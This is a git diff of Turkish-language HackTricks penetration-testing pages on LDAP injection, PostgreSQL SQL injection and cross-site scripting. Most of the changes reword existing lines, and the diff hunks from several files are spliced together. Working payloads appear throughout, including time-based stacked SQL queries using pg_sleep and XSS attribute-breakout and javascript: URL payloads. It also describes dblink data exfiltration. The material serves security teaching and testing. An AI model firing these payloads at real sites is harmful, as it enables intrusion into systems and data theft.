LDAP nesneleri **varsayılan olarak birkaç öznitelik içerir** ve bu öznitelikler **bilgi saklamak için kullanılabilir**. Bu bilgiyi çıkarmak için **hepsini kaba kuvvet uygulayabilirsiniz**. [**Varsayılan LDAP özniteliklerinin bir listesini burada**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) bulabilirsiniz.
LDAP nesneleri **varsayılan olarak birkaç özniteliği içerir** ve bu bilgileri **kaydetmek için kullanılabilir**. Bu bilgileri çıkarmak için **tüm öznitelikleri kaba kuvvet uygulayabilirsiniz**. [**Varsayılan LDAP özniteliklerinin bir listesini burada**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) bulabilirsiniz.
```python
#!/usr/bin/python3
import requests
@ -225,7 +225,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsan ve hacklenemez olanı hacklemek istiyorsan - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
@ -233,14 +233,14 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsan ve hacklenemez olanı hacklemek ist
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin**.
* **Hacking hilelerinizi paylaşarak PR'lar göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'de **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
@ -22,17 +22,17 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
***
**Bu sayfa, postgresql veritabanında bulunan bir SQL enjeksiyonunu sömürmenize yardımcı olabilecek farklı püf noktalarınııklamayı amaçlamaktadır ve** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)** adresinde bulabileceğiniz püf noktalarını tamamlamaktadır.**
**Bu sayfa, postgresql veritabanında bulunan bir SQL enjeksiyonunu sömürmenize yardımcı olabilecek farklı hileleriıklamayı amaçlamaktadır ve** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)** adresinde bulabileceğiniz hileleri tamamlamaktadır.**
## Ağ Etkileşimi - Yetki Yükseltme, Port Tarama, NTLM meydan okuma yanıtı ifşası ve Veri Çıkarma
**PostgreSQL modülü `dblink`**, diğer PostgreSQL örneklerine bağlanma ve TCP bağlantıları yürütme yetenekleri sunar. Bu özellikler, `COPY FROM` işlevi ile birleştirildiğinde, ayrıcalık yükseltme, port tarama ve NTLM meydan okuma yanıtı yakalama gibi eylemleri mümkün kılar. Bu saldırıları gerçekleştirmenin detaylı yöntemleri için [bu saldırıları nasıl gerçekleştireceğinizi](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) kontrol edin.
**PostgreSQL modülü `dblink`,** diğer PostgreSQL örneklerine bağlanma ve TCP bağlantıları yürütme yetenekleri sunar. Bu özellikler, `COPY FROM` işlevi ile birleştirildiğinde, ayrıcalık yükseltme, port tarama ve NTLM meydan okuma yanıtı yakalama gibi eylemleri mümkün kılar. Bu saldırıları gerçekleştirmek için detaylı yöntemler için [bu saldırıları nasıl gerçekleştireceğinizi](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) kontrol edin.
### **dblink ve büyük nesneler kullanarak Veri Çıkarma örneği**
Bir CTF örneğini görmek için [**bu örneği**](dblink-lo\_import-data-exfiltration.md) inceleyebilirsiniz. Bu örnek, büyük nesneler içine veri yükleme ve daha sonra `dblink_connect` fonksiyonunun kullanıcı adı içindeki büyük nesnelerin içeriğini dışa aktarma hakkında bilgi vermektedir.
Bir CTF örneğini görmek için [**bu örneği**](dblink-lo\_import-data-exfiltration.md) inceleyebilirsiniz. **Büyük nesneler içine veri yükleme ve daha sonra büyük nesnelerin içeriğini `dblink_connect` fonksiyonunun kullanıcı adı içine veri çıkarma** işlemini gösterir.
## PostgreSQL Saldırıları: Okuma/Yazma, Uzaktan Kod Çalıştırma, ayrıcalık yükseltme
## PostgreSQL Saldırıları: Okuma/Yazma, Uzaktan Kod Çalıştırma (RCE), ayrıcalık yükseltme
PostgreSQL'den ana bilgisayarı tehlikeye atma ve ayrıcalıkları yükseltme konusunda kontrol edin:
@ -44,12 +44,12 @@ PostgreSQL'den ana bilgisayarı tehlikeye atma ve ayrıcalıkları yükseltme ko
### PostgreSQL Dize işlevleri
Dizeleri manipüle etmek, **WAF'ları veya diğer kısıtlamaları atlatmanıza yardımcı olabilir**.\
Dizeleri manipüle etmek, **WAF'leri veya diğer kısıtlamaları atlatmanıza yardımcı olabilir**.\
[**Bu sayfada** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**bazı kullanışlı Dize işlevlerini bulabilirsiniz.**
### Yığılmış Sorgular
Postgresql'in yığılmış sorguları desteklediğini unutmayın, ancak birçok uygulama, yalnızca 1 beklerken 2 yanıt döndüğünde hata verecektir. Ancak, yığılmış sorguları Zaman enjeksiyonu aracılığıyla hala kötüye kullanabilirsiniz:
Postgresql'in yığılmış sorguları desteklediğini unutmayın, ancak birçok uygulama, yalnızca 1 yanıt beklerken 2 yanıt döndüğünde hata verecektir. Ancak, yığılmış sorguları Zaman enjeksiyonu aracılığıyla hala kötüye kullanabilirsiniz:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -94,22 +94,22 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsan ve hacklenemez olanı hacklemek istiyorsan - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacking öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme becerilerini öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşma yapabilme yeteneği gereklidir_).
@ -8,31 +8,31 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
## Metodoloji
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtıldığını** veya **JS** kodu tarafından **kullanıldığını** kontrol edin.
2. Yansıtıldığı/kullanıldığı **bağlamı bulun**.
1. Kontrol et **herhangi bir değeri kontrol edebildiğiniz** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** veya **JS** kodu tarafından **kullanılıp kullanılmadığını**.
2. **Yansıtıldığı/ kullanıldığı bağlamı** bulun.
3. Eğer **yansıtılıyorsa**
1. Kullanabileceğiniz **sembolleri kontrol edin** ve buna bağlı olarak payload'ı hazırlayın:
1. Hangi sembolleri kullanabileceğinizi kontrol edin ve buna bağlı olarak payload'ı hazırlayın:
1. **Ham HTML** içinde:
1. Yeni HTML etiketleri oluşturabilir misiniz?
2. `javascript:` protokolünü destekleyen olayları veya özellikleri kullanabilir misiniz?
2. `javascript:` protokolünü destekleyen olayları veya öznitelikleri kullanabilir misiniz?
3. Korumaları atlayabilir misiniz?
4. HTML içeriği herhangi bir istemci tarafı JS motoru tarafından yorumlanıyor mu (_AngularJS_, _VueJS_, _Mavo_...), [**İstemci Tarafı Şablon Enjeksiyonunu**](../client-side-template-injection-csti.md) kötüye kullanabilirsiniz.
5. JS kodu yürütülen bir **HTML etiketi** içinde:
5. JS kodunu çalıştıran bir HTML etiketi içinde:
1. Ham HTML bağlamına çıkabilir misiniz?
2. JS kodunu yürütmek için yeni olaylar/özellikler oluşturabilir misiniz?
3. Sıkıştığınız özellik JS yürütmesini destekliyor mu?
2. JS kodunu çalıştırmak için yeni olaylar/öznitelikler oluşturabilir misiniz?
3. Sıkıştığınız özniteliği JS yürütmesini destekliyor mu?
4. Korumaları atlayabilir misiniz?
3. **JavaScript kodu** içinde:
3. JS kodu içinde:
1. `<script>` etiketinden kaçabilir misiniz?
2. Diziyi kaçırıp farklı JS kodunu yürütebilir misiniz?
3. Girişleriniz şablon dizgileri içinde mi \`\`?
2. Diziyi kaçırabilir ve farklı JS kodunu yürütebilir misiniz?
3. Girişiniz şablon dizelerinde mi \`\`?
4. Korumaları atlayabilir misiniz?
4. Yürütülen **Javascript fonksiyonu**
4. **Yürütülen** Javascript **fonksiyonu**
1. Yürütülecek fonksiyonun adını belirtebilirsiniz. örn.: `?callback=alert(1)`
4. Eğer **kullanılıyorsa**:
1. **DOM XSS**'i sömürebilirsiniz, girişinizin nasıl kontrol edildiğine ve kontrol ettiğiniz girişinizin herhangi bir sızıntı tarafından kullanılıp kullanılmadığına dikkat edin.
1. **DOM XSS**'i sömürebilirsiniz, girişinizin nasıl kontrol edildiğine ve girişinizin herhangi bir **sızıntı** tarafından kullanılıp kullanılmadığına dikkat edin.
Karmaşık bir XSS üzerinde çalışırken ilginç bulabileceğiniz şeyler hakkında bilgi sahibi olmanız faydalı olabilir:
Karmaşık bir XSS üzerinde çalışırken ilginç bulabileceğiniz şeyler hakkında bilgi sahibi olmak isteyebilirsiniz:
{% content-ref url="debugging-client-side-js.md" %}
[debugging-client-side-js.md](debugging-client-side-js.md)
@ -40,11 +40,11 @@ Karmaşık bir XSS üzerinde çalışırken ilginç bulabileceğiniz şeyler hak
## Yansıtılan değerler
Bir XSS'yi başarılı bir şekilde sömürmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrol ettiğiniz bir değer**'dir.
Bir XSS'yi başarılı bir şekilde sömürmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrol ettiğiniz bir değer** olmalıdır.
* **Orta düzeyde yansıtılan**: Bir parametrenin değerini veya hatta yolun web sayfasında yansıtıldığını bulursanız, **Yansıtılan XSS**'yi sömürebilirsiniz.
* **Depolanmış ve yansıtılan**: Siz tarafından kontrol edilen bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, **Depolanmış XSS**'yi sömürebilirsiniz.
* **JS aracılığıyla erişilen**: Siz tarafından kontrol edilen bir değerin JS kullanılarak erişildiğini bulursanız, **DOM XSS**'yi sömürebilirsiniz.
* **Orta düzeyde yansıtılan**: Bir parametrenin değerini veya hatta yolun yansıtıldığını bulursanız, bir **Yansıtılan XSS**'i sömürebilirsiniz.
* **Depolanmış ve yansıtılan**: Siz tarafından kontrol edilen bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Depolanmış XSS**'i sömürebilirsiniz.
* **JS aracılığıyla erişilen**: Siz tarafından kontrol edilen bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS**'i sömürebilirsiniz.
## Bağlamlar
@ -52,19 +52,19 @@ Bir XSS'yi sömürmeye çalışırken ilk olarak **girişinizin nerede yansıtı
### Ham HTML
Eğer girişiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu yürütmek için bazı **HTML etiketlerini** kötüye kullanmanız gerekecektir: `<img , <iframe , <svg , <script` ... bunlar sadece kullanabileceğiniz birkaç HTML etiketinden bazılarıdır.\
Eğer girişiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu yürütmek için bazı **HTML etiketlerini** kötüye kullanmanız gerekecektir: `<img , <iframe , <svg , <script` ... bunlar sadece kullanabileceğiniz birkaç HTML etiketinden sadece bazılarıdır.\
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)'nu unutmayın.
### HTML etiketlerinin özellikleri içinde
### HTML etiketlerinin özniteliği içinde
Eğer girişiniz bir etiketin özelliğinin değeri içinde yansıtılıyorsa şunları deneyebilirsiniz:
Eğer girişiniz bir etiketin özniteliği değerinde yansıtılıyorsa şunları deneyebilirsiniz:
1. **Özellikten ve etiketten çıkmayı** ve yeni HTML etiketi oluşturmayı deneyin: `"><img [...]`
2. Eğer **özellikten çıkabilir ama etiketten çıkamazsınız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak JS kodunu yürüten bir **olay oluşturabilirsiniz**: `" autofocus onfocus=alert(1) x="`
3. Eğer **özellikten çıkamazsınız** (`"` kodlanmış veya silinmişse), o zaman **yansıtılan değerin hangi özellikte olduğuna ve tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak** kötüye kullanabilirsiniz. Örneğin, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklanıldığında keyfi kodu yürütebilirsiniz. Başka bir ilginç **örnek** ise `href` özelliğidir, burada `javascript:` protokolünü kullanarak keyfi kodu yürütebilirsiniz: **`href="javascript:alert(1)"`**
4. Eğer girişiniz "**kötüye kullanılamayan etiketlerin**" içinde yansıtılıyorsa, zafiyeti kötüye kullanmak için **`accesskey`** hilesini deneyebilirsiniz (bunu sömürmek için bir tür sosyal mühendise ihtiyacınız olacaktır): **`" accesskey="x" onclick="alert(1)" x="`**
1. **Özniteliğin ve etiketin içinden kaçın** (o zaman ham HTML'de olacaksınız) ve kötüye kullanmak için yeni HTML etiketi oluşturun: `"><img [...]`
2. Eğer **öznitelikten kabilir ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak JS kodunu yürüten bir olay oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
3. Eğer **özniteliğin içinden kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman yansıtılan değerin **hangi öznitelikte** olduğuna bağlı olarak **tüm değeri mi kontrol ediyorsunuz yoksa sadece bir kısmını mı** kontrol ediyorsunuz, buna bağlı olarak kötüye kullanabilirsiniz. Örneğin, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklanıldığında keyfi kodu yürütmesini sağlayabilirsiniz. Başka bir ilginç **örnek** ise `href` özniteliğidir, burada `javascript:` protokolünü kullanarak keyfi kodu yürütebilirsiniz: **`href="javascript:alert(1)"`**
4. Eğer girişiniz "**kötüye kullanılamayan etiketlerin içinde**" yansıtılıyorsa, zafiyeti kötüye kullanmak için **`accesskey`** hilesini deneyebilirsiniz (bunu sömürmek için bir tür sosyal mühendise ihtiyacınız olacaktır): **`" accesskey="x" onclick="alert(1)" x="`**
Angular'ın tuhaf bir örneği, bir sınıf adını kontrol ediyorsanız XSS yürütüyor:
Angular'ın garip bir örneği XSS yürütüyorsa ve bir sınıf adını kontrol ediyorsanız:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -74,13 +74,13 @@ Angular'ın tuhaf bir örneği, bir sınıf adını kontrol ediyorsanız XSS yü
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyasının içinde veya **`javascript:`** protokolünü kullanarak bir özniteliğin içinde yansıtılır:
* Eğer girdi **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz herhangi bir tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilir ve bu bağlamdan kaçabilirsiniz. Bu, tarayıcının önce HTML etiketlerini ayrıştıracağı ve ardından içeriği ayrıştıracağı için çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodunun içinde olduğunu fark etmeyecektir.
* Eğer girdi **bir JS dizesinin içinde yansıtılıyorsa** ve önceki hile işe yaramıyorsa dizeden **çıkmak**, kodunuzu **çalıştırmak** ve JS kodunu **yeniden oluşturmak** zorunda kalırsınız (herhangi bir hata olursa, bu çalıştırılmaz):
* Eğer girdi **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdinizi herhangi bir tırnak içinde olsa bile `</script>` enjekte etmeyi deneyebilir ve bu bağlamdan kaçabilirsiniz. Bu, tarayıcının önce HTML etiketlerini ayrıştıracağı ve ardından içeriği ayrıştıracağı için, enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
* Eğer girdi **bir JS dizesi içinde yansıtılıyorsa** ve önceki hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata olursa, bu çalıştırılmayacaktır):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Eğer girdi **şablon dizgilerinin içinde yansıtılıyorsa**, `${ ... }` sözdizimini kullanarak JS ifadelerini **yerleştirebilirsiniz**: `` var greetings = `Merhaba, ${alert(1)}` ``
* **Unicode kodlaması** geçerli javascript kodu yazmak için çalışır:
* Eğer girdi template literal içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak JS ifadelerini **yerleştirebilirsiniz**: `` var greetings = `Merhaba, ${alert(1)}` ``
* **Unicode kodlaması**, **geçerli javascript kodu** yazmak için çalışır:
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -88,7 +88,7 @@ Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiket
```
#### Javascript Hoisting
Javascript Hoisting, **işlevleri, değişkenleri veya sınıfları kullanıldıktan sonra bildirme olanağını referans alır, böylece XSS'in kullanılmayan değişkenleri veya işlevleri kullanmasını istismar edebilirsiniz.**\
Javascript Hoisting, **işlevleri, değişkenleri veya sınıfları kullanıldıktan sonra bildirme olanağını ifade eder, böylece XSS'in bildirilmemiş değişkenleri veya işlevleri kullandığı senaryoları kötüye kullanabilirsiniz.**\
**Daha fazla bilgi için aşağıdaki sayfaya bakın:**
{% content-ref url="js-hoisting.md" %}
@ -97,7 +97,9 @@ Javascript Hoisting, **işlevleri, değişkenleri veya sınıfları kullanıldı
### Javascript Function
Birçok web sayfasının **çalıştırılacak işlevin adını parametre olarak kabul ettiği** uç noktaları vardır. Yabancı bir kullanıcının doğrudan verdiği bir şeyin çalıştırılmaya çalışıp çalıştırılmadığını anlamanın iyi bir yolu, parametre değerini **değiştirerek** (örneğin 'Vulnerable' olarak) ve konsolda şu gibi hatalara bakmaktır:
Birçok web sayfasının **çalıştırılacak işlevin adını parametre olarak kabul ettiği** uç noktaları vardır. Vahşi doğada sıkça görülen bir örnek, genellikle şöyle bir şeydir: `?callback=callbackFunc`.
Bir kullanıcının doğrudan verdiği bir şeyin çalıştırılmaya çalışıldığını anlamanın iyi bir yolu, **parametre değerini değiştirmek** (örneğin 'Vulnerable' olarak) ve konsolda şu gibi hatalara bakmaktır:
![](<../../.gitbook/assets/image (708).png>)
@ -117,7 +119,7 @@ parentElement
```
Ayrıca **Javascript fonksiyonlarını tetiklemeyi** de deneyebilirsiniz: `obj.sales.delOrders`.
Ancak genellikle belirtilen fonksiyonu çalıştıran uç noktalar, pek ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökten diğer sayfalar** daha fazla eylem gerçekleştirmek için **daha ilginç bir DOM'a** sahip olacaktır.
Ancak genellikle belirtilen fonksiyonu çalıştıran uç noktalar, pek ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökten diğer sayfalar** daha fazla eylem gerçekleştirmek için daha ilginç bir DOM'a sahip olacaktır.
Bu nedenle, bu zafiyeti farklı bir DOM'da **kötüye kullanmak** için **Aynı Kök Yöntem Yürütme (SOME)** sömürüsü geliştirildi:
@ -127,7 +129,7 @@ Bu nedenle, bu zafiyeti farklı bir DOM'da **kötüye kullanmak** için **Aynı
### DOM
Bir saldırganın kontrol ettiği gibi **güvensiz bir şekilde** bazı **verileri** kullanan **JS kodu** var, örneğin `location.href`. Bir saldırgan, bunu kötü amaçlı JS kodunu yürütmek için kullanabilir.
Bir saldırganın, `location.href` gibi **saldırgan tarafından kontrol edilen bazı verileri güvensiz bir şekilde** kullanan **JS kodu** bulunmaktadır. Bir saldırgan, bu zafiyeti kötüye kullanarak keyfi JS kodu yürütebilir.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@ -135,7 +137,7 @@ Bir saldırganın kontrol ettiği gibi **güvensiz bir şekilde** bazı **verile
### **Evrensel XSS**
Bu tür XSS'ler **her yerde** bulunabilir. Bunlar sadece bir web uygulamasının istemci tarafından sömürülmesine bağlı değildir, **herhangi bir** **bağlamda** olabilir. Bu tür **keyfi JavaScript yürütme** hatta **RCE** elde etmek, istemcilerde ve sunucularda **keyfi dosyaları okumak** ve daha fazlasını elde etmek için kullanılabilir.\
Bu tür XSS'ler **her yerde** bulunabilir. Bunlar sadece bir web uygulamasının istemci tarafından sömürülmesine bağlı değildir, **herhangi bir** **bağlamda** bulunabilirler. Bu tür **keyfi JavaScript yürütme** hatta **RCE** elde etmek, istemci ve sunucularda **keyfi dosyaları okumak** ve daha fazlasını elde etmek için kötüye kullanılabilir.\
Bazı **örnekler**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -146,15 +148,15 @@ Bazı **örnekler**:
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endcontent-ref %}
## WAF bypass kodlaması görüntüsü
## WAF bypass encoding image
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
## Ham HTML içine enjekte etme
## Raw HTML içine enjekte etme
Girişiniz **HTML sayfası içinde yansıtıldığında** veya bu bağlamda HTML kodunu kaçırabilir ve enjekte edebilirseniz, yeni etiketler oluşturmak için `<`'yi kötüye kullanıp kullanamayacağınızı kontrol etmeniz gereken ilk şey budur: Sadece o **karakteri yansıtın** ve HTML kodlamasının yapılıp yapılmadığını veya silinip silinmediğini veya değişiklik yapılmadan yansıtılıp yansıtılmadığını kontrol edin. **Sadece son durumda bu durumu kötüye kullanabilirsiniz**.\
Girişiniz **HTML sayfasının içinde yansıtıldığında** veya bu bağlamda HTML kodunu kaçırabilir ve enjekte edebilirseniz, yeni etiketler oluşturmak için `<`'yi kötüye kullanıp kullanamayacağınızı kontrol etmeniz gereken ilk şey budur: Sadece o **karakteri yansıtın** ve HTML kodlamasına tabi tutulup tutulmadığını veya silinip silinmediğini veya değişiklik yapılmadan yansıtılıp yansıtılmadığını kontrol edin. **Sadece son durumda bu durumu kötüye kullanabilirsiniz**.\
Bu durumlar için ayrıca [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md)**'ı da göz önünde bulundurun.**\
